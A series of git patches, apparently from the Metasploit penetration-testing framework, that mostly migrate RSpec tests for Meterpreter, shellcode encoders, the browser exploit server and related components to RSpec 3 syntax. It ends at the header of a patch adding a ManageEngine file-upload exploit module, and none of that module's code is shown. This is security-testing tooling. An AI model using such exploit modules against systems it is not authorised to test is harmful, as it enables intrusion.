receive(:metasploit_class!).and_return(metasploit_class) + allow(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) end it 'should check if it is usable' do @@ -615,7 +615,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with usable metasploit_class' do before(:each) do # remove the mocked namespace_module since happy-path/real loading is occurring in this context - subject.unstub(:namespace_module_transaction) + allow(subject).to receive(:namespace_module_transaction).and_call_original end it 'should log load information' do From 1a36bcb5252880f8896a4f148908d1f68bf45a4d Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 13:07:33 -0600 Subject: [PATCH 087/103] Replace expect with allow the directory_spec --- spec/lib/msf/core/modules/loader/directory_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 1ba1b722f8..72ac2a0891 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -134,7 +134,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - expect(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) + allow(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) end # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test From 5056321d34319c91cf406a95cc7982740538cc2f Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 13:42:54 -0600 Subject: [PATCH 088/103] replace before block expecations with allow statements comment out some before statements that seem to be causing a problem --- spec/support/shared/examples/msf/module/search.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 139f016676..18c8726123 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -34,7 +34,7 @@ shared_examples_for 'Msf::Module::Search' do end let(:opts) { Hash.new } - before { expect(subject).to receive(:fullname).and_return('/module') } + before { allow(subject).to receive(:fullname).and_return('/module') } subject { Msf::Module.new(opts) } accept = [] reject = [] @@ -44,7 +44,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a client module' do - before { expect(subject).to receive(:stance).and_return('passive') } + # before { allow(subject).to receive(:stance).and_return('passive') } accept = %w(app:client) reject = %w(app:server) @@ -52,7 +52,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a server module' do - before { expect(subject).to receive(:stance).and_return('aggressive') } + # before { allow(subject).to receive(:stance).and_return('aggressive') } accept = %w(app:server) reject = %w(app:client) @@ -117,7 +117,7 @@ shared_examples_for 'Msf::Module::Search' do context 'on a module with a default RPORT of 5555' do before do - expect(subject).to receive(:datastore).and_return({ 'RPORT' => 5555 }) + allow(subject).to receive(:datastore).and_return({ 'RPORT' => 5555 }) end accept = %w(port:5555) @@ -133,7 +133,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a module with a #fullname of "blah"' do - before { expect(subject).to receive(:fullname).and_return('/c/d/e/blah') } + before { allow(subject).to receive(:fullname).and_return('/c/d/e/blah') } it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo) end @@ -147,7 +147,7 @@ shared_examples_for 'Msf::Module::Search' do all_module_types = Msf::MODULE_TYPES all_module_types.each do |mtype| context "on a #{mtype} module" do - before(:each) { expect(subject).to receive(:type).and_return(mtype) } + before(:each) { allow(subject).to receive(:type).and_return(mtype) } accept = ["type:#{mtype}"] reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" } From e8440f9798c24131e05d68c84dbf83f8c167b109 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 13:56:49 -0600 Subject: [PATCH 089/103] remove deprecated syntax from text_spec --- spec/lib/rex/text_spec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index e6c3b50cda..66eb6214c5 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -185,7 +185,7 @@ RSpec.describe Rex::Text do (__) )\\ ||--|| * EOCOW - described_class.cowsay(moo(5)).should eq(cowsaid) + expect(described_class.cowsay(moo(5))).to eq(cowsaid) end it "should cowsay two lines correctly" do @@ -199,7 +199,7 @@ EOCOW (__) )\\ ||--|| * EOCOW - described_class.cowsay(moo(15)).should eq(cowsaid) + expect(described_class.cowsay(moo(15))).to eq(cowsaid) end it "should cowsay three+ lines correctly" do @@ -215,14 +215,14 @@ EOCOW (__) )\\ ||--|| * EOCOW - described_class.cowsay(moo(30)).should eq(cowsaid) + expect(described_class.cowsay(moo(30))).to eq(cowsaid) end it "should respect the wrap" do wrap = 40 + rand(100) cowsaid = described_class.cowsay(moo(1000), wrap) max_len = cowsaid.split(/\n/).map(&:length).sort.last - max_len.should eq(wrap) + expect(max_len).to eq(wrap) end end end From 9a596713308e7562f1f90b772d5eac15a1ad9209 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 14:07:34 -0600 Subject: [PATCH 090/103] switch expect to allow on runas_spec cases --- spec/lib/msf/core/post/windows/runas_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 92f022c572..bf8295294c 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -76,7 +76,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - expect(advapi32).to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + allow(advapi32).to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end @@ -86,7 +86,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - expect(advapi32).to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + allow(advapi32).to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end From d0d09097d56b24bde0ca26382c84104a79181aa1 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 14:20:15 -0600 Subject: [PATCH 091/103] stub out name on foo_inst in the option_container_spec --- spec/lib/msf/core/option_container_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 708a00ed31..b56ec8c3d8 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -11,7 +11,7 @@ RSpec.describe Msf::OptionContainer do :'evasion=' => nil, :'owner=' => nil ) - + allow(foo_inst).to receive(:name).and_return("thing") foo_class = double 'opt_class', name: 'thing', new: foo_inst From a96445b30229aefaf06aa7f7e5a5d7e21e12c765 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 14:31:43 -0600 Subject: [PATCH 092/103] switch out expect with a proper mock by allow --- .../shared/examples/msf/simple/framework/module_paths.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 28309c5dca..92c983d888 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -25,7 +25,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do # to init_module_paths doesn't get captured. framework - expect(Msf::Config).to receive(:user_module_directory).and_return(user_module_directory) + allow(Msf::Config).to receive(:user_module_directory).and_return(user_module_directory) end it 'should refresh module cache from database' do From 2a6db4092df1608829ecc23711bca88dc3f27bea Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 15:02:54 -0600 Subject: [PATCH 093/103] fix stub on Database specs --- spec/lib/metasploit/framework/database_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/database_spec.rb b/spec/lib/metasploit/framework/database_spec.rb index d8c4663ebe..3abdf6dcca 100644 --- a/spec/lib/metasploit/framework/database_spec.rb +++ b/spec/lib/metasploit/framework/database_spec.rb @@ -660,7 +660,7 @@ RSpec.describe Metasploit::Framework::Database do end before(:each) do - expect(Msf::Config).to receive(:get_config_root).and_return(config_root) + allow(Msf::Config).to receive(:get_config_root).and_return(config_root) end it 'is database.yml under the user config root' do From b29459747bd9652765cfb670e03724a5b7f214a0 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 16:46:51 -0600 Subject: [PATCH 094/103] stub out private meterpreter accessor method net --- spec/lib/msf/base/sessions/meterpreter_spec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/base/sessions/meterpreter_spec.rb b/spec/lib/msf/base/sessions/meterpreter_spec.rb index 12cd7da53f..768e3ad738 100644 --- a/spec/lib/msf/base/sessions/meterpreter_spec.rb +++ b/spec/lib/msf/base/sessions/meterpreter_spec.rb @@ -34,8 +34,9 @@ RSpec.describe Msf::Sessions::Meterpreter do subject(:connected_address) do m = described_class.new(StringIO.new(""), skip_ssl: true) - allow(m).to receive_message_chain(:net, :config, :get_interfaces).and_return(interfaces) - allow(m).to receive_message_chain(:net, :config, :get_routes).and_return(routes) + allow(m).to receive_message_chain(:private_methods, :net) + allow(m).to receive_message_chain(:private_methods, :net, :config, :get_interfaces).and_return(interfaces) + allow(m).to receive_message_chain(:private_methods, :net, :config, :get_routes).and_return(routes) m.session_host = session_host m.send(:find_internet_connected_address) From 99931aff448b429413bef61f935bf8aaa9bed168 Mon Sep 17 00:00:00 2001 From: Gregory Mikeska <greg_mikeska@rapid7.com> Date: Thu, 10 Dec 2015 12:24:07 -0600 Subject: [PATCH 095/103] Call stance only if module implements stance --- .../support/shared/examples/msf/module/search.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 18c8726123..3c5271ca8d 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -44,7 +44,13 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a client module' do - # before { allow(subject).to receive(:stance).and_return('passive') } + before do + if subject.respond_to? :stance + allow(subject).to receive(:stance).and_return('passive') + else + skip + end + end accept = %w(app:client) reject = %w(app:server) @@ -52,7 +58,13 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a server module' do - # before { allow(subject).to receive(:stance).and_return('aggressive') } + before do + if subject.respond_to? :stance + allow(subject).to receive(:stance).and_return('aggressive') + else + skip + end + end accept = %w(app:server) reject = %w(app:client) From f59446851f9d90a262301f1c9c8c9cc696fa36f1 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 10 Dec 2015 21:17:21 -0600 Subject: [PATCH 096/103] update namespace --- spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb | 2 +- spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb b/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb index 3ddcb801a4..b80d991532 100644 --- a/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/data_store' -describe Msf::Exploit::Remote::SMB::Client::LocalPaths do +RSpec.describe Msf::Exploit::Remote::SMB::Client::LocalPaths do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb b/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb index 13ffc7852e..2053854d73 100644 --- a/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/data_store' -describe Msf::Exploit::Remote::SMB::Client::RemotePaths do +RSpec.describe Msf::Exploit::Remote::SMB::Client::RemotePaths do subject do mod = ::Msf::Module.new mod.extend described_class From fb578e9063d9727cff4fd736113be1b89082fe84 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 10 Dec 2015 21:44:57 -0600 Subject: [PATCH 097/103] use explicit exceptions for raise_error --- spec/lib/msf/core/exploit/http/server_spec.rb | 4 +-- .../remote/browser_exploit_server_spec.rb | 2 +- spec/lib/msf/core/post/windows/runas_spec.rb | 16 ++++++------ spec/lib/rex/arch/x86_spec.rb | 2 +- .../rex/encoder/alpha2/alpha_mixed_spec.rb | 4 +-- .../rex/encoder/alpha2/alpha_upper_spec.rb | 4 +-- .../rex/encoder/alpha2/unicode_mixed_spec.rb | 4 +-- spec/lib/rex/mac_oui_spec.rb | 16 ++++++------ .../rex/random_identifier_generator_spec.rb | 2 +- spec/lib/rex/sslscan/result_spec.rb | 26 +++++++++---------- spec/lib/rex/sslscan/scanner_spec.rb | 8 +++--- 11 files changed, 44 insertions(+), 44 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index b3c10e7af7..5fbb67bd59 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -44,7 +44,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do server_module.add_resource('Path' => 'foo') - expect { server_module.add_resource('Path' => 'foo') }.to raise_error + expect { server_module.add_resource('Path' => 'foo') }.to raise_error(RuntimeError) end end @@ -82,7 +82,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError) - expect { server_module.hardcoded_uripath('foo') }.to raise_error + expect { server_module.hardcoded_uripath('foo') }.to raise_error(RuntimeError) end end diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 5eede70d26..fcff2134ee 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -154,7 +154,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do fake_browser_info = nil expect { server.on_request_exploit(fake_cli, fake_request, fake_browser_info) - }.to raise_error + }.to raise_error(NoMethodError) end end diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index bf8295294c..c8aedfe8d2 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -111,11 +111,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return an exception when given an empty string" do - expect { subject.parse_process_information("") }.to raise_error + expect { subject.parse_process_information("") }.to raise_error(ArgumentError) end it "should return an exception when given an nil value" do - expect { subject.parse_process_information(nil) }.to raise_error + expect { subject.parse_process_information(nil) }.to raise_error(ArgumentError) end end @@ -131,11 +131,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return an exception when username is nil" do - expect { subject.check_user_format(nil, domain) }.to raise_error + expect { subject.check_user_format(nil, domain) }.to raise_error(ArgumentError) end it "should return an exception when UPN format and domain supplied" do - expect { subject.check_user_format(upn_username, domain) }.to raise_error + expect { subject.check_user_format(upn_username, domain) }.to raise_error(ArgumentError) end it "should return true when UPN format and domain is nil" do @@ -175,11 +175,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should raise an exception when max_length is nil" do - expect { subject.check_command_length(nil, nil, nil) }.to raise_error + expect { subject.check_command_length(nil, nil, nil) }.to raise_error(ArgumentError) end it "should raise an exception when application_name and command_line are nil" do - expect { subject.check_command_length(nil, nil, max_length) }.to raise_error + expect { subject.check_command_length(nil, nil, max_length) }.to raise_error(ArgumentError) end it "should return true when application_name is set and command_line is nil" do @@ -191,11 +191,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should raise an exception when command_line is larger than max_length" do - expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error + expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error(TypeError) end it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do - expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error + expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error(TypeError) end it "should return true when application_name is nil and command_module is less than MAX_PATH" do diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb index 639f4c9ae1..7d5fa65f64 100644 --- a/spec/lib/rex/arch/x86_spec.rb +++ b/spec/lib/rex/arch/x86_spec.rb @@ -915,7 +915,7 @@ RSpec.describe Rex::Arch::X86 do context "when reg is invalid" do let(:reg) { 31337 } let(:val) { 0x7 } - it { expect {subject}.to raise_error } + it { expect {subject}.to raise_error(ArgumentError) } end end diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb index 3c482e2c47..521f40867d 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb @@ -47,7 +47,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do let(:offset) { 33 } it "raises an error" do - expect { decoder_prefix }.to raise_error + expect { decoder_prefix }.to raise_error(RuntimeError) end end @@ -254,7 +254,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do let(:offset) { 33 } it "raises an error" do - expect { decoder }.to raise_error + expect { decoder }.to raise_error(RuntimeError) end end diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb index 14a092b4ba..98d938a279 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do let(:offset) { 25 } it "raises an error" do - expect { decoder_prefix }.to raise_error + expect { decoder_prefix }.to raise_error(RuntimeError) end end @@ -260,7 +260,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do let(:offset) { 25 } it "raises an error" do - expect { decoder }.to raise_error + expect { decoder }.to raise_error(RuntimeError) end end diff --git a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb index d0e158dbb4..79bd9d1240 100644 --- a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb @@ -47,7 +47,7 @@ RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do let(:offset) { 22 } it "raises an error" do - expect { decoder_prefix }.to raise_error + expect { decoder_prefix }.to raise_error(RuntimeError) end end end @@ -80,7 +80,7 @@ RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do let(:offset) { 22 } it "raises an error" do - expect { decoder }.to raise_error + expect { decoder }.to raise_error(RuntimeError) end end end diff --git a/spec/lib/rex/mac_oui_spec.rb b/spec/lib/rex/mac_oui_spec.rb index d065a049f8..744470527f 100644 --- a/spec/lib/rex/mac_oui_spec.rb +++ b/spec/lib/rex/mac_oui_spec.rb @@ -28,7 +28,7 @@ RSpec.describe Rex::Oui do context "when invalid mac format" do let(:mac) { 'invalid' } it "raises an error" do - expect { oui_fullname }.to raise_error + expect { oui_fullname }.to raise_error(RuntimeError) end end end @@ -57,7 +57,7 @@ RSpec.describe Rex::Oui do context "when invalid mac format" do let(:mac) { 'invalid' } it "raises an error" do - expect { oui_company_name }.to raise_error + expect { oui_company_name }.to raise_error(RuntimeError) end end end @@ -75,12 +75,12 @@ RSpec.describe Rex::Oui do end context "when invalid mac" do - it { expect { described_class.check_mac('AA') }.to raise_error } - it { expect { described_class.check_mac('AA:BB:CC:DD:JJ') }.to raise_error } - it { expect { described_class.check_mac('AA:BB') }.to raise_error } - it { expect { described_class.check_mac('AABB') }.to raise_error } - it { expect { described_class.check_mac('AA:BB:CC:DD:EE:FF:AA') }.to raise_error } - it { expect { described_class.check_mac('AABBCCDDEEFFAA') }.to raise_error } + it { expect { described_class.check_mac('AA') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AA:BB:CC:DD:JJ') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AA:BB') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AABB') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AA:BB:CC:DD:EE:FF:AA') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AABBCCDDEEFFAA') }.to raise_error(RuntimeError) } end end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index e08b24b6a6..68652ad85c 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -100,7 +100,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do value = "a"*(options[:max_length]+1) rig.store(:spec0, value) expect(rig.get(:spec0)).to eq value - expect { rig.store(:spec1, value) }.to raise_error + expect { rig.store(:spec1, value) }.to raise_error(RuntimeError) end it "should overwrite a previously stored value" do diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 656a001844..995813bf15 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -96,42 +96,42 @@ RSpec.describe Rex::SSLScan::Result do end it "should raise an exception for anything else" do - expect{subject.cert = "foo"}.to raise_error + expect{subject.cert = "foo"}.to raise_error(ArgumentError) end end context "adding a cipher result" do context "should raise an exception if" do it "given an invalid SSL version" do - expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error + expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error(ArgumentError) end it "given SSL version as a string" do - expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error + expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error(ArgumentError) end it "given an invalid SSL cipher" do - expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error(ArgumentError) end it "given an unsupported cipher for the version" do - expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error(ArgumentError) end it "given a non-number for key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error(ArgumentError) end it "given a decimal key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error(ArgumentError) end it "given an invalid status" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error(ArgumentError) end it "given status as a string" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error(ArgumentError) end end context "that was accepted" do @@ -277,11 +277,11 @@ RSpec.describe Rex::SSLScan::Result do context "when specifying one SSL version" do it "should raise an exception if not given a symbol" do - expect{ subject.each_accepted('sslv2')}.to raise_error + expect{ subject.each_accepted('sslv2')}.to raise_error(ArgumentError) end it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_accepted(:TLSv3)}.to raise_error + expect{ subject.each_accepted(:TLSv3)}.to raise_error(ArgumentError) end it "should return only ciphers matching the version" do @@ -333,11 +333,11 @@ RSpec.describe Rex::SSLScan::Result do context "when specifying one SSL version" do it "should raise an exception if not given a symbol" do - expect{ subject.each_rejected('sslv2')}.to raise_error + expect{ subject.each_rejected('sslv2')}.to raise_error(ArgumentError) end it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_rejected(:TLSv3)}.to raise_error + expect{ subject.each_rejected(:TLSv3)}.to raise_error(ArgumentError) end it "should return only ciphers matching the version" do diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index ea280b88c1..990503f8e1 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -38,19 +38,19 @@ RSpec.describe Rex::SSLScan::Scanner do context "an exception should be raised if" do it "has an invalid scanner configuration" do subject.host =nil - expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error + expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error(StandardError) end it "is given an invalid SSL version" do - expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error + expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error(StandardError) end it "is given an invalid cipher" do - expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error + expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error(StandardError) end it "is given an invalid cipher for the SSL Version" do - expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error + expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error(StandardError) end end From 6551df6446033fbe0b0c1973e2a23d3e2f94c245 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 10 Dec 2015 21:52:15 -0600 Subject: [PATCH 098/103] update bitlocker for rspec3 --- spec/lib/rex/parser/fs/bitlocker_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/parser/fs/bitlocker_spec.rb b/spec/lib/rex/parser/fs/bitlocker_spec.rb index 5c11f01eaa..b7bb507eb9 100644 --- a/spec/lib/rex/parser/fs/bitlocker_spec.rb +++ b/spec/lib/rex/parser/fs/bitlocker_spec.rb @@ -79,7 +79,7 @@ class BitlockerDrive end end -describe Rex::Parser::BITLOCKER do +RSpec.describe Rex::Parser::BITLOCKER do Bitlocker = Rex::Parser::BITLOCKER.new(BitlockerDrive.new(volume_header, fve_header)) ## @@ -87,6 +87,6 @@ describe Rex::Parser::BITLOCKER do ## it "Extract and decrypt recovery key from recovery password" do result = Bitlocker.fvek_from_recovery_password_dislocker(recovery_password) - result.should eq(fvek_dislocker_format) + expect(result).to eq fvek_dislocker_format end end From b620e0d1c94cd626128f0155e690c5c3217da911 Mon Sep 17 00:00:00 2001 From: Gregory Mikeska <greg_mikeska@rapid7.com> Date: Fri, 11 Dec 2015 11:09:37 -0600 Subject: [PATCH 099/103] bump nokogiri to 1.6.7 --- Gemfile.lock | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index e6ddf58246..13d695b6f3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -137,14 +137,14 @@ GEM recog (~> 2.0) method_source (0.8.2) mime-types (2.6.1) - mini_portile (0.6.2) + mini_portile2 (2.0.0) minitest (4.7.5) msgpack (0.7.1) multi_json (1.11.2) multi_test (0.1.2) network_interface (0.0.1) - nokogiri (1.6.6.2) - mini_portile (~> 0.6.0) + nokogiri (1.6.7) + mini_portile2 (~> 2.0.0.rc2) openssl-ccm (1.2.1) packetfu (1.1.11) network_interface (~> 0.0) @@ -249,3 +249,6 @@ DEPENDENCIES simplecov timecop yard + +BUNDLED WITH + 1.10.6 From 5ffc80dc2077082c68611f8f4d642be8c316afb8 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 14 Dec 2015 10:51:59 -0600 Subject: [PATCH 100/103] Add ManageEngine ConnectionId Arbitrary File Upload Vulnerability --- .../http/manageengine_connectionid_write.rb | 210 ++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 modules/exploits/windows/http/manageengine_connectionid_write.rb diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb 